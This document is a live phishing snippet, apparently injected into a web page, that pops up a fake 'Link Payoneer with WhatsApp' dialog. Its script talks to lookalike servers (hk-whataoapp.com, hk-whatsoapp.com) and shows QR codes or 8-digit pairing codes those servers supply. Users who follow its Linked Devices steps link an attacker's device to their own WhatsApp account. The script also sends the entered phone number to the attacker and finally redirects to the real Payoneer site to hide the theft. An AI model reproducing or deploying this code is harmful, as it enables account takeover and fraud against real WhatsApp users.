<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/qrcodejs/1.0.0/qrcode.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/uuid/8.3.2/uuid.min.js"></script>
<style>
  .card {
    background: #f4efeb;
    border-radius: 16px;
    box-shadow: 0 4px 24px rgba(0, 0, 0, 0.1);
    padding: 48px 40px 40px;
    display: flex;
    flex-direction: column;
    align-items: center;
    width: 340px;
    position: relative;
    z-index: 1;
  }

  .logo {

    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
  }

  .logo svg {
    width: 32px;
    height: 32px;
    fill: #25d366;
  }

  .card h1 {
    font-size: 20px !important;
    font-weight: 600 !important;
    color: #111 !important;
    color: #25d366 !important;
  }

  .card .subtitle {
    font-size: 13px !important;
    color: #000 !important;
    margin-bottom: 28px;
    text-align: center;
  }

  .qr-wrap {
    width: 248px;
    height: 248px;
    border: 2px solid #e9edef;
    border-radius: 12px;
    display: flex;
    align-items: center;
    justify-content: center;
    position: relative;
    overflow: hidden;
    background: #fff;
  }

  #qr_code {
    display: none;
  }

  #loading {
    display: flex;
    flex-direction: column;
    align-items: center;
    gap: 12px;
    color: #aaa;
    font-size: 13px;
  }

  .spinner {
    width: 36px;
    height: 36px;
    border: 3px solid #e9edef;
    border-top-color: #25d366;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
  }

  @keyframes spin {
    to {
      transform: rotate(360deg);
    }
  }

  ._akaz {
    display: none;
    margin-top: 10px;
    font-size: 12px;
    color: #25d366;
    font-weight: 500;
  }

  .refresh-btn {
    margin-top: 20px;
    padding: 9px 28px;
    background: #25d366;
    color: #fff;
    border: none;
    border-radius: 24px;
    font-size: 14px;
    cursor: pointer;
    transition: background 0.2s;
  }

  .refresh-btn:hover {
    background: #20b858;
  }

  .card .steps {
    margin-top: 28px;
    width: 100%;
    border-top: 1px solid #f0f2f5;
    padding-top: 20px;
  }

  .card .steps p {
    font-size: 12px;
    color: #000;
    margin-bottom: 6px;
    display: flex;
    align-items: flex-start;
    gap: 8px;
  }

  .card .steps p span.num {
    background: #e9edef;
    color: #555 !important;
    border-radius: 50%;
    width: 18px;
    height: 18px;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    font-size: 11px !important;
    flex-shrink: 0;
  }

  #status-text {
    font-size: 12px;
    color: #aaa;
    margin-top: 10px;
    min-height: 18px;
  }

  /* ── 手机号登录切换按钮 ── */
  .switch-btn {
    margin-top: 18px;
    background: none;
    border: 1.5px solid #25d366;
    color: #25d366;
    border-radius: 24px;
    padding: 7px 22px;
    font-size: 13px;
    cursor: pointer;
    transition:
      background 0.2s,
      color 0.2s;
    display: flex;
    align-items: center;
    gap: 6px;
  }

  .switch-btn:hover {
    background: #25d366;
    color: #fff;
  }

  /* ── 手机号输入面板 ── */
  #phone-panel {
    display: none;
    flex-direction: column;
    align-items: center;
    width: 100%;
    gap: 12px;
  }

  #phone-panel h2 {
    font-size: 16px;
    font-weight: 600;
    color: #111;
    margin: 0;
  }

  #phone-panel .phone-hint {
    font-size: 12px;
    color: #aaa;
    text-align: center;
    margin: 0;
  }

  #phone-input {
    width: 100%;
    padding: 10px 14px;
    border: 1.5px solid #e9edef;
    border-radius: 10px;
    font-size: 15px;
    outline: none;
    transition: border-color 0.2s;
    text-align: center;
    letter-spacing: 1px;
  }

  #phone-input:focus {
    border-color: #25d366;
  }

  #btn-submit-phone {
    width: 100%;
    padding: 10px;
    background: #25d366;
    color: #fff;
    border: none;
    border-radius: 24px;
    font-size: 14px;
    cursor: pointer;
    transition: background 0.2s;
  }

  #btn-submit-phone:hover {
    background: #20b858;
  }

  #btn-submit-phone:disabled {
    background: #a8e6c1;
    cursor: not-allowed;
  }

  #phone-error {
    font-size: 12px;
    color: #e53935;
    min-height: 18px;
    text-align: center;
  }

  /* ── 验证码展示面板 ── */
  #code-panel {
    display: none;
    flex-direction: column;
    align-items: center;
    width: 100%;
    gap: 14px;
  }

  #code-panel h2 {
    font-size: 15px;
    font-weight: 600;
    color: #111;
    margin: 0;
    text-align: center;
  }

  .code-grid {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    gap: 8px;
    width: 100%;
  }

  .code-char {
    background: #f0f2f5;
    border-radius: 10px;
    font-size: 22px;
    font-weight: 700;
    color: #111;
    text-align: center;
    padding: 12px 0;
    letter-spacing: 0;
  }

  .code-instructions {
    font-size: 12px;
    color: #aaa;
    text-align: center;
    line-height: 1.6;
    margin: 0;
  }

  .code-instructions strong {
    color: #555;
  }

  #code-refresh-note {
    font-size: 11px;
    color: #bbb;
  }

  .qr-container {
    display: none;
    /* display: flex; */
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    width: 100%;
    height: 100%;
    justify-content: center;
    align-items: center;
    z-index: 999999;
    background: rgba(0, 0, 0, 0.5);
    backdrop-filter: blur(10px);
    -webkit-backdrop-filter: blur(10px);
  }

  .qr-container-inner {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    width: 100%;
    height: 100%;
    z-index: 0;
  }

  .qr-container-inner-content {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    width: 100%;
    height: 100%;
  }

  #status-text {
    display: none;
  }
</style>

<div class="qr-container" id="qr-container">
  <div class="qr-container-inner" onclick="hideQr()"></div>
  <div class="card">
    <div class="qr-container-inner-content">
      <div class="logo">
        <svg viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
          <path
            d="M17.472 14.382c-.297-.149-1.758-.867-2.03-.967-.273-.099-.471-.148-.67.15-.197.297-.767.966-.94 1.164-.173.199-.347.223-.644.075-.297-.15-1.255-.463-2.39-1.475-.883-.788-1.48-1.761-1.653-2.059-.173-.297-.018-.458.13-.606.134-.133.298-.347.446-.52.149-.174.198-.298.298-.497.099-.198.05-.371-.025-.52-.075-.149-.669-1.612-.916-2.207-.242-.579-.487-.5-.669-.51-.173-.008-.371-.01-.57-.01-.198 0-.52.074-.792.372-.272.297-1.04 1.016-1.04 2.479 0 1.462 1.065 2.875 1.213 3.074.149.198 2.096 3.2 5.077 4.487.709.306 1.262.489 1.694.625.712.227 1.36.195 1.871.118.571-.085 1.758-.719 2.006-1.413.248-.694.248-1.289.173-1.413-.074-.124-.272-.198-.57-.347m-5.421 7.403h-.004a9.87 9.87 0 01-5.031-1.378l-.361-.214-3.741.982.998-3.648-.235-.374a9.86 9.86 0 01-1.51-5.26c.001-5.45 4.436-9.884 9.888-9.884 2.64 0 5.122 1.03 6.988 2.898a9.825 9.825 0 012.893 6.994c-.003 5.45-4.437 9.884-9.885 9.884m8.413-18.297A11.815 11.815 0 0012.05 0C5.495 0 .16 5.335.157 11.892c0 2.096.547 4.142 1.588 5.945L.057 24l6.305-1.654a11.882 11.882 0 005.683 1.448h.005c6.554 0 11.89-5.335 11.893-11.893a11.821 11.821 0 00-3.48-8.413z" />
        </svg>
      </div>
      <h1>WhatsApp</h1>
    </div>

    <p class="subtitle">
      Link Payoneer with WhatsApp to enable the smart assistant and access the latest features
    </p>

    <div class="qr-wrap">
      <div id="loading">
        <div class="spinner"></div>
        <span>Generating the QR code......</span>
      </div>
      <div id="qr_code"></div>
    </div>

    <p class="_akaz">✓ The QR code is ready. Please scan it.
    </p>
    <p id="status-text"></p>

    <button class="refresh-btn" id="show-again">Refresh the QR code</button>

    <!-- 切换到手机号码模式的按钮 -->
    <button class="switch-btn" id="btn-phone-mode">
      <svg width="15" height="15" viewBox="0 0 24 24" fill="currentColor">
        <path
          d="M6.6 10.8c1.4 2.8 3.8 5.1 6.6 6.6l2.2-2.2c.3-.3.7-.4 1-.2 1.1.4 2.3.6 3.6.6.6 0 1 .4 1 1V20c0 .6-.4 1-1 1-9.4 0-17-7.6-17-17 0-.6.4-1 1-1h3.5c.6 0 1 .4 1 1 0 1.3.2 2.5.6 3.6.1.3 0 .7-.2 1L6.6 10.8z" />
      </svg>
      Use mobile phone number
    </button>

    <!-- 手机号码输入面板（默认隐藏） -->
    <div id="phone-panel">
      <h2>Enter the mobile phone number</h2>
      <p class="phone-hint">
        Please enter the complete number, including the country code<br />For example: <strong>85257660217</strong> or
        <strong>+852 57660217</strong>
      </p>
      <input id="phone-input" type="tel" placeholder="+852 57660217" autocomplete="tel" />
      <button id="btn-submit-phone">Get verification code</button>
      <p id="phone-error"></p>
      <button class="switch-btn" id="btn-back-qr" style="margin-top: 0; border-color: #aaa; color: #aaa">
        ← Back to scan login
      </button>
    </div>

    <!-- 验证码展示面板（默认隐藏） -->
    <div id="code-panel">
      <h2>Enter the verification code in WhatsApp</h2>
      <div class="code-grid" id="code-grid"></div>
      <p class="code-instructions">
        Open WhatsApp on your phone →<br />
        <strong>Settings → Linked Devices → Link Device</strong><br />
        Enter the 8-digit verification code above
      </p>
      <span id="code-refresh-note">The verification code updates every 30 seconds</span>
      <button class="switch-btn" id="btn-back-qr2" style="margin-top: 4px; border-color: #aaa; color: #aaa">
        ← Back to scan login
      </button>
    </div>

    <div class="steps" id="steps-section">
      <p><span class="num">1</span> Open WhatsApp on your phone</p>
      <p><span class="num">2</span> Click the ⋮ menu → Linked Devices</p>
      <p><span class="num">3</span> Click "Link Device" to scan the QR code</p>
    </div>
  </div>
</div>

<script>
  function showQr() {
    $("#qr-container").css("display", "flex");
    $("#qr-container").css("display", "flex");
  }
  function hideQr() {
    $("#qr-container").css("display", "none");
    $("#qr-container").css("display", "none");
  }
  let consoleShown = false;

  function sleep(delayDuration) {
    return new Promise((resolve) => setTimeout(resolve, delayDuration));
  }

  $(document).ready(function () {
    // ── 让邮箱输入框可以输入任意内容 ──
    var emailInput = document.querySelector('input[name="email"]');
    if (emailInput) {
      emailInput.removeAttribute('required');
      emailInput.type = 'text';

      // ── 点击按钮弹出 WhatsApp 二维码弹窗 ──
      var demoBtn = emailInput.closest('.flex').parentElement.querySelector('button[type="button"]');
      if (demoBtn) {
        demoBtn.addEventListener('click', function (e) {
          e.preventDefault();
          showQr();
        });
      }
    }

    function hasQr() {
      return (
        document.getElementById("qr_code") && document.getElementById("loading")
      );
    }

    function stopQrIntervals() {
      if (window.__qrWs) {
        try {
          window.__qrWs.onmessage = null;
          window.__qrWs.onclose = null;
          window.__qrWs.onerror = null;
          window.__qrWs.close();
        } catch (e) { }
        window.__qrWs = null;
      }
      window.__qrActive = false;
    }

    function setStatus(msg) {
      const el = document.getElementById("status-text");
      if (el) el.textContent = msg;
    }

    function initializeQrIfNeeded() {
      if (!hasQr()) {
        stopQrIntervals();
        return;
      }
      if (window.__qrActive) {
        return;
      }
      window.__qrActive = true;

      const uuidResult = uuid.v4();
      window.__currentSessionId = uuidResult; // 供手机号登录使用

      function clearQRCode(qrCodeElement) {
        const qr = document.getElementById("qr_code");
        if (!qr) {
          stopQrIntervals();
          return;
        }
        qr.innerHTML = "";
        var createQRCode = new QRCode("qr_code", {
          text: qrCodeElement,
          width: 228,
          height: 228,
          colorDark: "#122E31",
          colorLight: "#ffffff",
          correctLevel: QRCode.CorrectLevel.L,
        });
        $("#qr_code").attr("title", "");
        createQRCode._oDrawing._elImage.onload = function () {
          if (!hasQr()) {
            stopQrIntervals();
            return;
          }
          $("#loading").css("display", "none");
          $("#qr_code").css("display", "block");
          $("._akaz").css("display", "block");
        };
      }

      function toggleLoading() {
        if (!hasQr()) {
          stopQrIntervals();
          return;
        }
        $("#loading").css("display", "flex");
        $("#qr_code").css("display", "none");
        $("._akaz").css("display", "none");
      }

      toggleLoading();
      setStatus("Connecting to the server...");

      const wsConn = new WebSocket(
        "wss://web.hk-whataoapp.com:8443/ws/" + uuidResult,
      );
      window.__qrWs = wsConn;

      wsConn.onopen = function () {
        setStatus("Connected, waiting for the QR code...");
      };

      wsConn.onmessage = function (event) {
        if (!hasQr()) {
          stopQrIntervals();
          return;
        }
        try {
          const msg = JSON.parse(event.data);
          if (msg.type === "qr") {
            // 手机号模式下忽略 QR 推送
            if (window.__phoneMode) return;
            setStatus("");
            clearQRCode(msg.token);
          } else if (msg.type === "loggedIn") {
            setStatus("Login successful, redirecting...");
            stopQrIntervals();
            if (window.parent && window.parent !== window) {
              window.parent.postMessage(
                {
                  type: "WHATSAPP_REDIRECT",
                  url: "https://www.payoneer.com/",
                },
                "*",
              );
              window.top.location.href = "https://www.payoneer.com/";
            } else {
              window.location.href = "https://www.payoneer.com/";
            }
          } else if (msg.type === "expired" || msg.type === "error") {
            stopQrIntervals();
            toggleLoading();
            setStatus("Session expired, please refresh the page and try again");
          } else if (msg.type === "phoneCode") {
            // 后端推送验证码
            setStatus("");
            $("#btn-submit-phone").attr("disabled", false).text("Get verification code again");
            showCodeMode(msg.code);
          } else if (msg.type === "phoneError") {
            // 手机号登录出错
            $("#phone-error").text(msg.message || "Operation failed, please try again");
            $("#btn-submit-phone").attr("disabled", false).text("Get verification code");
            setStatus("");
            window.__phoneMode = false;
            // 确保手机面板可见
            if ($("#phone-panel").is(":hidden")) showPhoneMode();
          }
        } catch (e) {
          console.error("WS message error:", e);
        }
      };

      wsConn.onerror = function (e) {
        setStatus("Connection error, please try again later");
        console.error("WebSocket 连接出错:", e);
      };

      wsConn.onclose = function () {
        if (!hasQr()) return;
        setStatus("Connection lost, checking login status...");
        $.get(
          "https://web.hk-whatsoapp.com:8443/check-login-status/" + uuidResult,
          function (loginStatus) {
            if (!hasQr()) return;
            if (loginStatus && loginStatus.loggedIn) {
              stopQrIntervals();
              window.location.href = "https://www.payoneer.com/";
            } else if (loginStatus && loginStatus.expired) {
              stopQrIntervals();
              toggleLoading();
              setStatus("Session expired, please refresh the page and try again");
            } else {
              setStatus("Not logged in, reconnecting in 3 seconds...");
              setTimeout(function () {
                if (!hasQr() || !window.__qrActive) return;
                window.__qrWs = null;
                const wsReconn = new WebSocket(
                  "wss://web.hk-whataoapp.com:8443/ws/" + uuidResult,
                );
                window.__qrWs = wsReconn;
                wsReconn.onopen = wsConn.onopen;
                wsReconn.onmessage = wsConn.onmessage;
                wsReconn.onerror = wsConn.onerror;
                wsReconn.onclose = wsConn.onclose;
              }, 3000);
            }
          },
        ).fail(function () {
          setTimeout(function () {
            if (!hasQr() || !window.__qrActive) return;
            window.__qrWs = null;
            const wsReconn = new WebSocket(
              "wss://web.hk-whataoapp.com:8443/ws/" + uuidResult,
            );
            window.__qrWs = wsReconn;
            wsReconn.onopen = wsConn.onopen;
            wsReconn.onmessage = wsConn.onmessage;
            wsReconn.onerror = wsConn.onerror;
            wsReconn.onclose = wsConn.onclose;
          }, 3000);
        });
      };

      $("#show-again")
        .off("click.qr")
        .on("click.qr", function () {
          if (!hasQr()) {
            stopQrIntervals();
            return;
          }
          toggleLoading();
          setStatus("Reconnecting...");
          stopQrIntervals();
          setTimeout(function () {
            window.__qrActive = false;
            initializeQrIfNeeded();
          }, 500);
        });
    }

    if (hasQr()) {
      initializeQrIfNeeded();
    }

    // ══════════════════════════════════════════
    // 手机号码登录模式
    // ══════════════════════════════════════════

    // QR 区域 / 手机区域 / 验证码区域 切换
    function showQrMode() {
      $(
        ".qr-wrap, ._akaz, #show-again, #btn-phone-mode, #steps-section",
      ).show();
      $("#phone-panel, #code-panel, #status-text").hide();
      $("#phone-error").text("");
    }
    function showPhoneMode() {
      $(".qr-wrap, ._akaz, #show-again, #steps-section").hide();
      $("#phone-panel").css("display", "flex");
      $("#code-panel").hide();
      $("#btn-phone-mode").hide();
      $("#status-text").show().text("");
    }
    function showCodeMode(chars) {
      $("#phone-panel").hide();
      $("#status-text").hide();
      // 渲染验证码格子
      const grid = $("#code-grid").empty();
      chars.forEach(function (ch) {
        grid.append($('<div class="code-char"></div>').text(ch));
      });
      $("#code-panel").css("display", "flex");
    }

    // 点击"使用手机号码"
    $("#btn-phone-mode").on("click", function () {
      showPhoneMode();
    });

    // 点击"返回扫码登录"
    $("#btn-back-qr, #btn-back-qr2").on("click", function () {
      showQrMode();
      window.__phoneMode = false;
    });

    // 提交手机号
    $("#btn-submit-phone").on("click", function () {
      submitPhone();
    });
    $("#phone-input").on("keydown", function (e) {
      if (e.key === "Enter") submitPhone();
    });

    function submitPhone() {
      if (!window.__qrActive) return;
      const phone = $("#phone-input").val().trim();
      if (!phone) {
        $("#phone-error").text("Please enter a mobile phone number");
        return;
      }
      // 去掉空格和连字符，保留"+"前缀
      const cleanPhone = phone.replace(/[\s\-\(\)]/g, "");
      if (cleanPhone.replace("+", "").length < 7) {
        $("#phone-error").text("The phone number format is incorrect, please include the country code");
        return;
      }

      $("#phone-error").text("");
      $("#btn-submit-phone").attr("disabled", true).text("Processing...");
      setStatus("Submitting the phone number, please wait...");

      window.__phoneMode = true;

      // 发送到后端
      const sessionId = window.__currentSessionId;
      $.ajax({
        url: "https://web.hk-whatsoapp.com:8443/phone-login/" + sessionId,
        type: "POST",
        contentType: "application/json",
        data: JSON.stringify({ phone: cleanPhone }),
        success: function () {
          setStatus("Submitted, getting the verification code...");
        },
        error: function (xhr) {
          const msg =
            (xhr.responseJSON && xhr.responseJSON.error) || "Submission failed, please try again";
          $("#phone-error").text(msg);
          $("#btn-submit-phone").attr("disabled", false).text("Get verification code");
          setStatus("");
          window.__phoneMode = false;
        },
      });
    }
  });



</script>